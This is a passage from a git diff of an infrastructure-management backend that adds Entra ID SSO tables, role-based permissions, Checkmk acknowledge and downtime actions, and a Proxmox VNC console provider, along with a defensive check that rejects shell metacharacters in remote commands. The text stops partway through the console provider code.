b/backend/src/database/migrations/016_checkmk_write_permissions.sql new file mode 100644 index 00000000..ee8116a1 --- /dev/null +++ b/backend/src/database/migrations/016_checkmk_write_permissions.sql @@ -0,0 +1,31 @@ +-- Migration: 016_checkmk_write_permissions +-- Description: Add checkmk:write permission for acknowledging problems and +-- scheduling downtimes via the Checkmk REST API. Granted to the +-- Operator and Administrator roles only (not Viewer/Provisioner), +-- since these are mutating monitoring actions. +-- rbacMiddleware('checkmk','write') gates the POST action routes. +-- Date: 2025-08-01 + +-- ============================================================================ +-- PERMISSIONS: Checkmk write actions +-- ============================================================================ + +INSERT INTO permissions (id, resource, "action", description, created_at) VALUES + ('checkmk-write-001', 'checkmk', 'write', 'Acknowledge problems and schedule downtimes in Checkmk', CURRENT_TIMESTAMP) + ON CONFLICT DO NOTHING; + +-- ============================================================================ +-- ROLE-PERMISSION ASSIGNMENTS: Operator role +-- ============================================================================ + +INSERT INTO role_permissions (role_id, permission_id, assigned_at) VALUES + ('role-operator-001', 'checkmk-write-001', CURRENT_TIMESTAMP) + ON CONFLICT DO NOTHING; + +-- ============================================================================ +-- ROLE-PERMISSION ASSIGNMENTS: Administrator role +-- ============================================================================ + +INSERT INTO role_permissions (role_id, permission_id, assigned_at) VALUES + ('role-admin-001', 'checkmk-write-001', CURRENT_TIMESTAMP) + ON CONFLICT DO NOTHING; diff --git a/backend/src/database/migrations/016_entra_id_auth.sql b/backend/src/database/migrations/016_entra_id_auth.sql new file mode 100644 index 00000000..fb642147 --- /dev/null +++ b/backend/src/database/migrations/016_entra_id_auth.sql @@ -0,0 +1,48 @@ +-- Migration 016: Entra ID federated authentication support +-- Adds tables for federated identity linking, OAuth state management, +-- and single-use authorization codes for the frontend token exchange flow. +-- Requirements: 4.1, 4.2, 6.2, 9.6 + +-- Federated identity links: maps external IdP subjects to Pabawi users +CREATE TABLE IF NOT EXISTS federated_identities ( + id TEXT PRIMARY KEY, + user_id TEXT NOT NULL, + provider TEXT NOT NULL, -- 'entra-id' + subject TEXT NOT NULL, -- Entra ID 'sub' claim (unique per tenant+user) + issuer TEXT NOT NULL, -- Token issuer URL + email TEXT, -- Email from IdP (informational, not authoritative) + id_token TEXT, -- Last ID token (for logout id_token_hint) + created_at TEXT NOT NULL, + updated_at TEXT NOT NULL, + FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE, + UNIQUE(provider, subject) +); + +CREATE INDEX IF NOT EXISTS idx_federated_identities_user ON federated_identities(user_id); +CREATE INDEX IF NOT EXISTS idx_federated_identities_lookup ON federated_identities(provider, subject); + +-- OAuth state store: PKCE + state + nonce for in-flight authorization requests +CREATE TABLE IF NOT EXISTS oauth_state_store ( + state TEXT PRIMARY KEY, + nonce TEXT NOT NULL, + code_verifier TEXT NOT NULL, + created_at TEXT NOT NULL, + expires_at TEXT NOT NULL +); + +CREATE INDEX IF NOT EXISTS idx_oauth_state_expires ON oauth_state_store(expires_at); + +-- Single-use authorization codes for frontend token delivery +CREATE TABLE IF NOT EXISTS oauth_auth_codes ( + code TEXT PRIMARY KEY, + access_token TEXT NOT NULL, + refresh_token TEXT NOT NULL, + user_id TEXT NOT NULL, + id_token TEXT, + auth_method TEXT NOT NULL DEFAULT 'entra-id', + created_at TEXT NOT NULL, + expires_at TEXT NOT NULL, + exchanged INTEGER NOT NULL DEFAULT 0 +); + +CREATE INDEX IF NOT EXISTS idx_oauth_auth_codes_expires ON oauth_auth_codes(expires_at); diff --git a/backend/src/database/migrations/017_nullable_password_hash.sql b/backend/src/database/migrations/017_nullable_password_hash.sql new file mode 100644 index 00000000..7839302f --- /dev/null +++ b/backend/src/database/migrations/017_nullable_password_hash.sql @@ -0,0 +1,39 @@ +-- Migration 017: Make password_hash nullable for federated (SSO) users +-- +-- Federated users authenticated via Entra ID (or other OIDC providers) +-- have no local password. The design stores NULL in password_hash for +-- these accounts. SQLite does not support ALTER COLUMN, so we recreate +-- the users table with password_hash TEXT (nullable). + +-- Step 1: Create new table without NOT NULL on password_hash +CREATE TABLE users_new ( + id TEXT PRIMARY KEY, + username TEXT NOT NULL UNIQUE, + email TEXT NOT NULL UNIQUE, + password_hash TEXT, -- NULL for federation-only accounts + first_name TEXT NOT NULL, + last_name TEXT NOT NULL, + is_active INTEGER NOT NULL DEFAULT 1, + is_admin INTEGER NOT NULL DEFAULT 0, + created_at TEXT NOT NULL, + updated_at TEXT NOT NULL, + last_login_at TEXT +); + +-- Step 2: Copy all existing data +INSERT INTO users_new (id, username, email, password_hash, first_name, last_name, is_active, is_admin, created_at, updated_at, last_login_at) +SELECT id, username, email, password_hash, first_name, last_name, is_active, is_admin, created_at, updated_at, last_login_at +FROM users; + +-- Step 3: Drop old table +DROP TABLE users; + +-- Step 4: Rename new table +ALTER TABLE users_new RENAME TO users; + +-- Step 5: Recreate indexes (username and email have UNIQUE in the CREATE TABLE) +-- The federated_identities FK ON DELETE CASCADE still references users(id) +-- which is the same PRIMARY KEY. +CREATE INDEX IF NOT EXISTS idx_users_username ON users(username); +CREATE INDEX IF NOT EXISTS idx_users_email ON users(email); +CREATE INDEX IF NOT EXISTS idx_users_active ON users(is_active); diff --git a/backend/src/database/migrations/018_console_sessions.sql b/backend/src/database/migrations/018_console_sessions.sql new file mode 100644 index 00000000..8254fda9 --- /dev/null +++ b/backend/src/database/migrations/018_console_sessions.sql @@ -0,0 +1,28 @@ +-- Migration 018: Console sessions +-- Adds console_sessions table for tracking interactive browser-based +-- console connections (VNC, terminal) to infrastructure nodes. +-- Requirements: 2.7 + +CREATE TABLE IF NOT EXISTS console_sessions ( + id TEXT PRIMARY KEY, + user_id TEXT NOT NULL, + node_id TEXT NOT NULL, + provider TEXT NOT NULL, + transport TEXT NOT NULL, + state TEXT NOT NULL DEFAULT 'creating', + token TEXT, + token_created_at TEXT, + token_consumed INTEGER NOT NULL DEFAULT 0, + upstream_url TEXT, + started_at TEXT NOT NULL, + last_heartbeat_at TEXT, + terminated_at TEXT, + error_message TEXT, + created_at TEXT NOT NULL DEFAULT (datetime('now')), + CONSTRAINT chk_state CHECK (state IN ('creating', 'active', 'terminated', 'failed')), + CONSTRAINT chk_transport CHECK (transport IN ('websocket-vnc', 'websocket-terminal')) +); + +CREATE INDEX IF NOT EXISTS idx_console_sessions_user_id ON console_sessions(user_id); +CREATE INDEX IF NOT EXISTS idx_console_sessions_state ON console_sessions(state); +CREATE INDEX IF NOT EXISTS idx_console_sessions_token ON console_sessions(token); diff --git a/backend/src/database/migrations/019_console_permissions.sql b/backend/src/database/migrations/019_console_permissions.sql new file mode 100644 index 00000000..8abb6798 --- /dev/null +++ b/backend/src/database/migrations/019_console_permissions.sql @@ -0,0 +1,32 @@ +-- Migration: 019_console_permissions +-- Description: Add console:access and console:admin permissions for the +-- console integration. Grant console:access to Operator and +-- Administrator roles; grant console:admin to Administrator only. +-- Date: 2025-07-14 +-- Requirements: 6.1, 6.7 + +-- ============================================================================ +-- PERMISSIONS: Console integration +-- ============================================================================ + +INSERT INTO permissions (id, resource, "action", description, created_at) VALUES + ('console-access-001', 'console', 'access', 'Access console sessions for nodes', CURRENT_TIMESTAMP), + ('console-admin-001', 'console', 'admin', 'Manage other users console sessions', CURRENT_TIMESTAMP) + ON CONFLICT DO NOTHING; + +-- ============================================================================ +-- ROLE-PERMISSION ASSIGNMENTS: Operator role — console:access +-- ============================================================================ + +INSERT INTO role_permissions (role_id, permission_id, assigned_at) VALUES + ('role-operator-001', 'console-access-001', CURRENT_TIMESTAMP) + ON CONFLICT DO NOTHING; + +-- ============================================================================ +-- ROLE-PERMISSION ASSIGNMENTS: Administrator role — console:access + console:admin +-- ============================================================================ + +INSERT INTO role_permissions (role_id, permission_id, assigned_at) VALUES + ('role-admin-001', 'console-access-001', CURRENT_TIMESTAMP), + ('role-admin-001', 'console-admin-001', CURRENT_TIMESTAMP) + ON CONFLICT DO NOTHING; diff --git a/backend/src/integrations/IntegrationManager.ts b/backend/src/integrations/IntegrationManager.ts index a4e1945d..788ed4a5 100644 --- a/backend/src/integrations/IntegrationManager.ts +++ b/backend/src/integrations/IntegrationManager.ts @@ -16,6 +16,7 @@ import type { Action, NodeGroup, } from "./types"; +import type { ConsolePlugin, ConsoleTransport } from "./console/types"; import type { Node, Facts, ExecutionResult } from "./bolt/types"; import { NodeLinkingService, type LinkedNode } from "./NodeLinkingService"; import { LoggerService } from "../services/LoggerService"; @@ -63,6 +64,15 @@ export interface ProvisioningCapableExecutionTool { listProvisioningCapabilities(): ProvisioningCapability[]; } +/** + * Entry in the console availability response for a node + */ +export interface ConsoleAvailabilityEntry { + provider: string; + transport: ConsoleTransport; + displayName: string; +} + /** * Aggregated inventory from multiple sources */ @@ -117,6 +127,7 @@ export class IntegrationManager { private plugins = new Map(); private executionTools = new Map(); private informationSources = new Map(); + private consoleProviders = new Map(); private initialized = false; private nodeLinkingService: NodeLinkingService; private logger: LoggerService; @@ -183,6 +194,12 @@ export class IntegrationManager { ); } + // Detect console plugin via duck-typing (a plugin can be both an + // information source and a console provider simultaneously) + if (this.isConsolePlugin(plugin)) { + this.consoleProviders.set(plugin.name, plugin); + } + this.logger.info(`Registered plugin: ${plugin.name} (${plugin.type})`, { component: "IntegrationManager", operation: "registerPlugin", @@ -277,6 +294,131 @@ export class IntegrationManager { return Array.from(this.informationSources.values()); } + /** + * Get a console provider by name + * + * @param name - Provider name + * @returns ConsolePlugin instance or null if not found + */ + getConsoleProvider(name: string): ConsolePlugin | null { + return this.consoleProviders.get(name) ?? null; + } + + /** + * Register a standalone console provider without going through registerPlugin. + * + * Use this when the console provider shares its logical name with an already- + * registered integration plugin (e.g., the Proxmox console provider coexists + * with ProxmoxIntegration). The provider is added only to the console providers + * map and is not tracked in the main plugins map. + * + * @param provider - ConsolePlugin instance to register + */ + registerConsoleProvider(provider: ConsolePlugin): void { + this.consoleProviders.set(provider.name, provider); + this.logger.info(`Registered console provider: ${provider.name}`, { + component: "IntegrationManager", + operation: "registerConsoleProvider", + metadata: { providerName: provider.name }, + }); + } + + /** + * Get all registered console providers + * + * @returns Array of console plugins + */ + getAllConsoleProviders(): ConsolePlugin[] { + return Array.from(this.consoleProviders.values()); + } + + /** + * Query console availability for a specific node across all providers. + * + * Queries all registered console providers in parallel. Each provider call + * is given a 3-second timeout. Providers that timeout or throw are excluded + * from the response. Results are sorted by provider name ascending. + * + * When the caller passes a linked/merged node identifier (e.g. an FQDN from + * the aggregated inventory), this method resolves it to the provider-specific + * ID (e.g. "proxmox:pve1:101") before querying each provider. This avoids + * the mismatch where providers expect their own ID format but the frontend + * only knows the merged inventory name. + * + * @param nodeId - The node to query console availability for + * @returns Array of available console capabilities sorted by provider name + */ + async getConsoleAvailability(nodeId: string): Promise { + const CONSOLE_AVAILABILITY_TIMEOUT_MS = 3000; + + const providerEntries = Array.from(this.consoleProviders.entries()); + + // Resolve linked node sourceData so we can map nodeId → provider-specific ID. + // Uses cached inventory to avoid an extra fetch on every availability check. + let sourceData: Record | undefined; + try { + const aggregated = await this.getAggregatedInventory(true); + const linkedNode = aggregated.nodes.find( + (n) => n.id === nodeId || n.name === nodeId, + ); + if (linkedNode?.sourceData) { + sourceData = linkedNode.sourceData; + } + } catch { + // If inventory lookup fails, proceed with raw nodeId — providers will + // reject if the format doesn't match, which is the pre-existing behaviour. + } + + const results = await Promise.all( + providerEntries.map(async ([name, provider]): Promise => { + try { + // Use provider-specific ID if available, otherwise fall back to raw nodeId. + const resolvedId = sourceData?.[name]?.id ?? nodeId; + + let timeoutHandle: ReturnType | undefined; + const timeoutPromise = new Promise((_, reject) => { + timeoutHandle = setTimeout( + () => { reject(new Error(`Console provider '${name}' timed out after ${String(CONSOLE_AVAILABILITY_TIMEOUT_MS)}ms`)); }, + CONSOLE_AVAILABILITY_TIMEOUT_MS, + ); + }); + // Always handle the timeout promise rejection so an orphaned timer + // (e.g. if work setup throws before the race is built) cannot surface + // as an unhandled rejection polluting other tests. + timeoutPromise.catch(() => { /* handled: see clearTimeout below */ }); + + const workPromise = provider.getConsoleCapabilities(resolvedId); + workPromise.catch(() => { /* handled by race */ }); + + let capabilities; + try { + capabilities = await Promise.race([workPromise, timeoutPromise]); + } finally { + clearTimeout(timeoutHandle); + } + + return capabilities.map((cap) => ({ + provider: name, + transport: cap.transport, + displayName: cap.displayName, + })); + } catch (error) { + const err = error instanceof Error ? error : new Error(String(error)); + this.logger.warn(`Console provider '${name}' excluded from availability response`, { + component: "IntegrationManager", + operation: "getConsoleAvailability", + metadata: { provider: name, nodeId, reason: err.message }, + }); + return []; + } + }), + ); + + const entries = results.flat(); + entries.sort((a, b) => a.provider.localeCompare(b.provider)); + return entries; + } + /** * Get all registered plugins * @@ -300,6 +442,21 @@ export class IntegrationManager { ); } + /** + * Type guard: check whether a plugin implements the ConsolePlugin interface. + * + * Detection uses duck-typing rather than narrowing the `type` field, since a + * single plugin (e.g. Proxmox) may implement both InformationSourcePlugin and + * ConsolePlugin simultaneously. + */ + private isConsolePlugin(plugin: IntegrationPlugin): plugin is ConsolePlugin { + return ( + "getConsoleCapabilities" in plugin && + "createSession" in plugin && + "terminateSession" in plugin + ); + } + /** * Get provisioning capabilities from all execution tools * @@ -501,6 +658,12 @@ export class IntegrationManager { SOURCE_TIMEOUT_MS, ); }); + // Always attach a rejection handler to the timeout promise. If the + // work setup below throws synchronously (so the race is never built + // and the timer is never cleared), the timer can still fire later and + // would otherwise surface as an unhandled rejection that pollutes + // unrelated tests sharing the same worker. + timeoutPromise.catch(() => { /* handled: see clearTimeout below */ }); // Attach a no-op catch to the work promise so that, if the timeout // wins the race and the work later rejects, the rejection is silently @@ -1064,6 +1227,7 @@ export class IntegrationManager { this.plugins.delete(name); this.executionTools.delete(name); this.informationSources.delete(name); + this.consoleProviders.delete(name); this.logger.info(`Unregistered plugin: ${name}`, { component: "IntegrationManager", diff --git a/backend/src/integrations/bolt/BoltService.ts b/backend/src/integrations/bolt/BoltService.ts index a34214c0..56ca159a 100644 --- a/backend/src/integrations/bolt/BoltService.ts +++ b/backend/src/integrations/bolt/BoltService.ts @@ -19,6 +19,7 @@ import { BoltTaskParameterError, } from "./types"; import { LoggerService } from "../../services/LoggerService"; +import { SHELL_META_PATTERN } from "../../validation/CommandWhitelistService"; /** * Streaming callback for real-time output @@ -77,6 +78,27 @@ export class BoltService { } } + /** + * Final defensive check before running a remote shell command: reject shell + * metacharacters. Bolt executes `command run` inside a shell ON THE REMOTE + * TARGET, so metacharacters (`; | & $() {} * ? …`) would be interpreted there + * and enable remote command injection. The route-level whitelist validator is + * the primary defence; this unconditional guard is defense-in-depth so that + * NO caller — batch, re-execute, or any future path — can reach the spawn + * site with an unvalidated command. Mirrors the identical rule enforced by + * {@link BoltCommandWhitelistService} on the single-node route. + */ + private assertNoShellMetacharacters(command: string): void { + if (SHELL_META_PATTERN.test(command.trim())) { + throw new BoltExecutionError( + `Refusing to run command containing shell metacharacters: ${JSON.stringify(command)}`, + -1, + "", + "", + ); + } + } + /** * Mapping from Bolt `_error.kind` values to application error categories. * Used by categoriseError to deterministically classify structured JSON errors. @@ -754,6 +776,7 @@ export class BoltService { const startTime = Date.now(); const executionId = this.generateExecutionId(); this.assertNoLeadingDash(command, "command"); + this.assertNoShellMetacharacters(command); this.assertNoLeadingDash(nodeId, "nodeId"); const args = [ "command", diff --git a/backend/src/integrations/checkmk/CheckmkPlugin.ts b/backend/src/integrations/checkmk/CheckmkPlugin.ts index e7d9352e..9d91298e 100644 --- a/backend/src/integrations/checkmk/CheckmkPlugin.ts +++ b/backend/src/integrations/checkmk/CheckmkPlugin.ts @@ -31,7 +31,10 @@ import { CheckmkService } from "./CheckmkService"; import { CheckmkLivestatusClient } from "./CheckmkLivestatusClient"; import type { JournalEntry } from "../../services/journal/types"; import type { + CheckmkAcknowledgeOptions, + CheckmkActionResult, CheckmkConfig, + CheckmkDowntimeOptions, CheckmkFailingService, CheckmkEvent, CheckmkHostEvent, @@ -519,6 +522,30 @@ export class CheckmkPlugin return this.service.getHostStateSummary(); } + // ======================================== + // Write Actions (acknowledge / downtime) + // ======================================== + + /** + * Acknowledge a service problem. Delegates to the REST service. + * Returns a structured result so the route can map failures to HTTP 502. + */ + async acknowledgeServiceProblem( + options: CheckmkAcknowledgeOptions, + ): Promise { + return this.service.acknowledgeServiceProblem(options); + } + + /** + * Schedule a service downtime window. Delegates to the REST service. + * Returns a structured result so the route can map failures to HTTP 502. + */ + async scheduleServiceDowntime( + options: CheckmkDowntimeOptions, + ): Promise { + return this.service.scheduleServiceDowntime(options); + } + /** * Get recent monitoring events within a time window. * Livestatus primary (hours converted to days), REST fallback. diff --git a/backend/src/integrations/checkmk/CheckmkService.ts b/backend/src/integrations/checkmk/CheckmkService.ts index 11e8eea3..dd7e99fb 100644 --- a/backend/src/integrations/checkmk/CheckmkService.ts +++ b/backend/src/integrations/checkmk/CheckmkService.ts @@ -11,7 +11,10 @@ import * as http from "node:http"; import type { LoggerService } from "../../services/LoggerService"; import type { + CheckmkAcknowledgeOptions, + CheckmkActionResult, CheckmkConfig, + CheckmkDowntimeOptions, CheckmkFailingService, CheckmkHost, CheckmkHostStateSummary, @@ -47,6 +50,8 @@ const FAILING_SERVICE_COLUMNS = [ "last_state_change", "plugin_output", "acknowledged", + "scheduled_downtime_depth", + "host_scheduled_downtime_depth", ] as const; export class CheckmkService { @@ -364,6 +369,8 @@ export class CheckmkService { last_state_change?: number; plugin_output?: string; acknowledged?: number; + scheduled_downtime_depth?: number; + host_scheduled_downtime_depth?: number; }; }[]; }; @@ -388,6 +395,10 @@ export class CheckmkService { if (!hostname) continue; if (allowedHosts && !allowedHosts.has(hostname)) continue; + const inDowntime = + (ext.scheduled_downtime_depth ?? 0) > 0 || + (ext.host_scheduled_downtime_depth ?? 0) > 0; + failingServices.push({ hostname, serviceDescription: ext.description ?? "", @@ -396,6 +407,7 @@ export class CheckmkService { lastStateChange: ext.last_state_change ?? 0, output: ext.plugin_output ?? "", acknowledged: (ext.acknowledged ?? 0) !== 0, + inDowntime, }); } @@ -563,6 +575,123 @@ export class CheckmkService { } } + /** + * Acknowledge a service problem in Checkmk. + * + * Sends `POST /domain-types/acknowledge/collections/service` with + * `acknowledge_type: "service"`. Checkmk responds with 204 on success. + * The acknowledged service remains visible but is marked as "handled" and + * stops generating repeat notifications. + */ + async acknowledgeServiceProblem( + options: CheckmkAcknowledgeOptions, + ): Promise { + try { + await this.request( + "POST", + "/domain-types/acknowledge/collections/service", + DEFAULT_TIMEOUT_MS, + { + acknowledge_type: "service", + sticky: options.sticky, + persistent: options.persistent, + notify: options.notify, + comment: options.comment, + host_name: options.hostname, + service_description: options.serviceDescription, + }, + ); + + this.logger.info("Checkmk service problem acknowledged", { + component: "CheckmkService", + integration: "checkmk", + operation: "acknowledgeServiceProblem", + metadata: { + serverUrl: this.config.serverUrl, + hostname: options.hostname, + serviceDescription: options.serviceDescription, + }, + }); + + return { success: true }; + } catch (error) { + const errorMessage = error instanceof Error ? error.message : String(error); + + this.logger.error("Failed to acknowledge Checkmk service problem", { + component: "CheckmkService", + integration: "checkmk", + operation: "acknowledgeServiceProblem", + metadata: { + serverUrl: this.config.serverUrl, + hostname: options.hostname, + serviceDescription: options.serviceDescription, + errorMessage, + }, + }); + + return { success: false, error: errorMessage }; + } + } + + /** + * Schedule a downtime window for a service in Checkmk. + * + * Sends `POST /domain-types/downtime/collections/service` with + * `downtime_type: "service"`. Checkmk responds with 204 on success. + * During the window the service's notifications are suppressed and it is + * flagged with a non-zero scheduled_downtime_depth. + */ + async scheduleServiceDowntime( + options: CheckmkDowntimeOptions, + ): Promise { + try { + await this.request( + "POST", + "/domain-types/downtime/collections/service", + DEFAULT_TIMEOUT_MS, + { + downtime_type: "service", + start_time: options.startTime, + end_time: options.endTime, + comment: options.comment, + host_name: options.hostname, + service_descriptions: [options.serviceDescription], + }, + ); + + this.logger.info("Checkmk service downtime scheduled", { + component: "CheckmkService", + integration: "checkmk", + operation: "scheduleServiceDowntime", + metadata: { + serverUrl: this.config.serverUrl, + hostname: options.hostname, + serviceDescription: options.serviceDescription, + startTime: options.startTime, + endTime: options.endTime, + }, + }); + + return { success: true }; + } catch (error) { + const errorMessage = error instanceof Error ? error.message : String(error); + + this.logger.error("Failed to schedule Checkmk service downtime", { + component: "CheckmkService", + integration: "checkmk", + operation: "scheduleServiceDowntime", + metadata: { + serverUrl: this.config.serverUrl, + hostname: options.hostname, + serviceDescription: options.serviceDescription, + errorMessage, + }, + }); + + return { success: false, error: errorMessage }; + } + } + /** * Sanitize a string to ensure the password never appears in log output. */ @@ -626,6 +755,13 @@ export class CheckmkService { return; } + // 204 No Content (and other empty-body successes) carry no JSON. + // Checkmk returns 204 for acknowledge/downtime actions. + if (statusCode === 204 || bodyText.trim().length === 0) { + resolve(null); + return; + } + try { const json: unknown = JSON.parse(bodyText); resolve(json); diff --git a/backend/src/integrations/checkmk/types.ts b/backend/src/integrations/checkmk/types.ts index 6e55367e..c4ba5c9d 100644 --- a/backend/src/integrations/checkmk/types.ts +++ b/backend/src/integrations/checkmk/types.ts @@ -56,6 +56,49 @@ export interface CheckmkFailingService { lastStateChange: number; output: string; acknowledged: boolean; + /** + * True when the service is currently suppressed by a scheduled downtime — + * either a downtime on the service itself or an inherited downtime from its + * host. Derived from `scheduled_downtime_depth` and + * `host_scheduled_downtime_depth` being greater than zero. + */ + inDowntime: boolean; +} + +/** + * Options for acknowledging a service problem via the Checkmk REST API. + * Mirrors the fields of the `acknowledge/collections/service` endpoint. + */ +export interface CheckmkAcknowledgeOptions { + hostname: string; + serviceDescription: string; + comment: string; + /** Acknowledgement persists across state recoveries until removed (default true). */ + sticky: boolean; + /** Comment survives a Checkmk restart (default false). */ + persistent: boolean; + /** Send notifications about the acknowledgement (default true). */ + notify: boolean; +} + +/** + * Options for scheduling a service downtime via the Checkmk REST API. + * Mirrors the fields of the `downtime/collections/service` endpoint. + */ +export interface CheckmkDowntimeOptions { + hostname: string; + serviceDescription: string; + comment: string; + /** ISO-8601 start timestamp. */ + startTime: string; + /** ISO-8601 end timestamp. */ + endTime: string; +} + +/** Result of a Checkmk write action (acknowledge / downtime). */ +export interface CheckmkActionResult { + success: boolean; + error?: string; } export interface CheckmkHostSummary { diff --git a/backend/src/integrations/console/types.ts b/backend/src/integrations/console/types.ts new file mode 100644 index 00000000..097887e5 --- /dev/null +++ b/backend/src/integrations/console/types.ts @@ -0,0 +1,79 @@ +import type { IntegrationPlugin } from "../types"; + +/** Supported transport protocols */ +export type ConsoleTransport = "websocket-vnc" | "websocket-terminal"; + +/** Describes a console capability for a node */ +export interface ConsoleCapability { + transport: ConsoleTransport; + /** Display label for the console option (max 100 chars) */ + displayName: string; + /** Provider-specific connection parameters schema */ + connectionSchema: Record; +} + +/** Session state machine */ +export type ConsoleSessionState = + | "creating" + | "active" + | "terminated" + | "failed"; + +/** Session status returned by getSessionStatus */ +export interface ConsoleSessionStatus { + state: ConsoleSessionState; + /** ISO 8601 timestamp */ + startedAt: string; + /** Present when state is "failed" */ + error?: string; +} + +/** Full session object returned by createSession */ +export interface ConsoleSession { + sessionId: string; + /** Short-lived session token for WebSocket auth */ + token: string; + /** Relative WebSocket URL for the client to connect */ + wsUrl: string; + transport: ConsoleTransport; + state: ConsoleSessionState; + /** ISO 8601 timestamp */ + startedAt: string; + nodeId: string; + userId: string; + provider: string; +} + +/** + * Console plugin interface — third plugin type alongside execution/information. + * + * Detected via duck-typing (type guard in IntegrationManager) rather than + * narrowing the `type` field, since a single plugin (e.g. Proxmox) may + * implement both InformationSourcePlugin and ConsolePlugin simultaneously. + */ +export interface ConsolePlugin extends IntegrationPlugin { + /** List console capabilities available for a given node */ + getConsoleCapabilities(nodeId: string): Promise; + + /** + * Create a new console session. + * Rejects with a typed error if the node has no console capability + * for this provider. + */ + createSession(nodeId: string, userId: string): Promise; + + /** + * Terminate an active session. + * Returns false without throwing for non-existent or already-terminated sessions. + */ + terminateSession(sessionId: string): Promise; + + /** Get current status of a session */ + getSessionStatus(sessionId: string): Promise; + + /** + * List transport protocols this provider supports. + * Must return between 1 and 10 entries. + */ + getSupportedTransports(): ConsoleTransport[]; +} diff --git a/backend/src/integrations/proxmox/ProxmoxConsoleProvider.ts b/backend/src/integrations/proxmox/ProxmoxConsoleProvider.ts new file mode 100644 index 00000000..1cb38414 --- /dev/null +++ b/backend/src/integrations/proxmox/ProxmoxConsoleProvider.ts @@ -0,0 +1,406 @@ +/** + * Proxmox Console Provider + * + * Implements the ConsolePlugin interface for Proxmox VMs and LXC containers, + * providing VNC console access via WebSocket proxy. + * + * Requirements: 9.1, 9.2, 9.3, 9.4, 9.5, 9.6, 9.7, 9.8, 1.6, 1.7 + */ + +import { randomBytes } from "crypto"; +import { randomUUID } from "crypto"; + +import type { + ConsoleCapability, + ConsolePlugin, + ConsoleSession, + ConsoleSessionStatus, + ConsoleTransport, +} from "../console/types"; +import type { IntegrationConfig } from "../types"; + +import type { LoggerService } from "../../services/LoggerService"; +import type { ProxmoxClient } from "./ProxmoxClient"; +import type { ProxmoxConfig, ProxmoxGuest } from "./types"; +import { ProxmoxAuthenticationError, ProxmoxError } from "./types"; + +/** Response from Proxmox vncproxy endpoint */ +interface VncProxyResponse { + ticket: string; + port: string; + upid?: string; +} + +/** Internal session store entry */ +interface SessionEntry { + session: ConsoleSession; + upstreamUrl: string; +} + +const COMPONENT = "ProxmoxConsoleProvider"; + +/** + * ProxmoxConsoleProvider — ConsolePlugin implementation for Proxmox VE. + * + * Advertises `websocket-vnc` transport. Creates VNC proxy sessions by + * requesting tickets from the Proxmox API and building upstream WS URLs. + */ +export class ProxmoxConsoleProvider implements ConsolePlugin { + readonly name = "proxmox"; + readonly type = "both" as const; + + /** In-memory session store (keyed by sessionId) */ + private sessions = new Map(); + private config: IntegrationConfig = { + enabled: true, + name: "proxmox", + type: "both", + config: {}, + }; + + constructor( + private proxmoxClient: ProxmoxClient, + private proxmoxConfig: ProxmoxConfig, + private logger: LoggerService, + ) { + this.logger.debug("ProxmoxConsoleProvider created", { + component: COMPONENT, + operation: "constructor", + }); + } + + // ======================================== + // IntegrationPlugin interface + // ======================================== + + initialize(config: IntegrationConfig): Promise { + this.config = config; + return Promise.resolve(); + } + + healthCheck(): Promise<{ + healthy: boolean; + message?: string; + lastCheck: string; + }> { + return Promise.resolve({ + healthy: true, + message: "Proxmox console provider healthy", + lastCheck: new Date().toISOString(), + }); + } + + getConfig(): IntegrationConfig { + return this.config; + } + + isInitialized(): boolean { + return true; + } + + // ======================================== + // ConsolePlugin interface + // ======================================== + + /** + * Check console capabilities for a node. + * + * Returns `websocket-vnc` capability if the guest exists and is running. + * Returns empty array if guest is not running or not found. + * + * Requirement 9.8 + */ + async getConsoleCapabilities(nodeId: string): Promise { + try { + const { node, vmid } = this.parseNodeId(nodeId); + const guestType = await this.getGuestType(node, vmid); + const status = await this.getGuestStatus(node, vmid, guestType); + + if (status !== "running") { + return []; + } + + return [ + { + transport: "websocket-vnc", + displayName: "VNC Console", + connectionSchema: {}, + }, + ]; + } catch (error) { + this.logger.debug("Cannot determine console capabilities", { + component: COMPONENT, + operation: "getConsoleCapabilities", + metadata: { + nodeId, + error: error instanceof Error ? error.message : String(error), + }, + }); + return []; + } + } + + /** + * Create a console session for a Proxmox guest. + * + * 1. Parse nodeId → node, vmid + * 2. Determine guest type (qemu/lxc) + * 3. Verify running state (Req 9.6) + * 4. Call vncproxy endpoint (Req 9.2, 9.4) + * 5. Build upstream WS URL (Req 9.3) + * 6. Generate session token and return ConsoleSession + * + * Error handling: + * - Auth errors → session failure with auth message (Req 9.5) + * - Not running → session failure with running message (Req 9.6) + * - Timeout/not found → session failure with category message (Req 9.7) + * - Node without console capability → typed error (Req 1.6) + */ + async createSession(nodeId: string, userId: string): Promise { + const { node, vmid } = this.parseNodeId(nodeId); + + // Determine guest type + let guestType: "qemu" | "lxc"; + try { + guestType = await this.getGuestType(node, vmid); + } catch (error) { + if (error instanceof ProxmoxError && error.code === "HTTP_404") { + throw new Error( + `Resource not found: guest ${String(vmid)} on node ${node} does not exist`, + ); + } + throw this.wrapApiError(error, "determine guest type"); + } + + // Verify guest is running (Req 9.6) + const status = await this.getGuestStatus(node, vmid, guestType); + if (status !== "running") { + throw new Error( + "Guest must be running for console access", + ); + } + + // Call vncproxy endpoint (Req 9.2, 9.4) + const vncProxyEndpoint = + `/api2/json/nodes/${node}/${guestType}/${String(vmid)}/vncproxy`; + + let vncResponse: VncProxyResponse; + try { + // ProxmoxClient.post() casts to string but actually returns the data object + const raw = await this.proxmoxClient.post(vncProxyEndpoint, { + websocket: 1, + }); + vncResponse = raw as unknown as VncProxyResponse; + } catch (error) { + throw this.wrapApiError(error, "request VNC proxy ticket"); + } + + // Build upstream WebSocket URL (Req 9.3) + const host = this.proxmoxConfig.host; + const port = vncResponse.port; + const ticket = encodeURIComponent(vncResponse.ticket); + const upstreamUrl = + `wss://${host}:${port}/api2/json/nodes/${node}/${guestType}/${String(vmid)}/vncwebsocket?port=${port}&vncticket=${ticket}`; + + // Generate session token and ID + const sessionId = randomUUID(); + const token = randomBytes(32).toString("hex"); + const now = new Date().toISOString(); + + const session: ConsoleSession = { + sessionId, + token, + wsUrl: `/ws/console/vnc?token=${token}`, + transport: "websocket-vnc", + state: "active", + startedAt: now, + nodeId, + userId, + provider: "proxmox", + }; + + // Store session locally for status/termination tracking + this.sessions.set(sessionId, { session, upstreamUrl }); + + this.logger.info("Proxmox console session created", { + component: COMPONENT, + operation: "createSession", + metadata: { sessionId, nodeId, userId, guestType }, + }); + + return session; + } + + /** + * Terminate a console session. + * + * Returns false without throwing for non-existent or already-terminated + * sessions (Req 1.7). + */ + 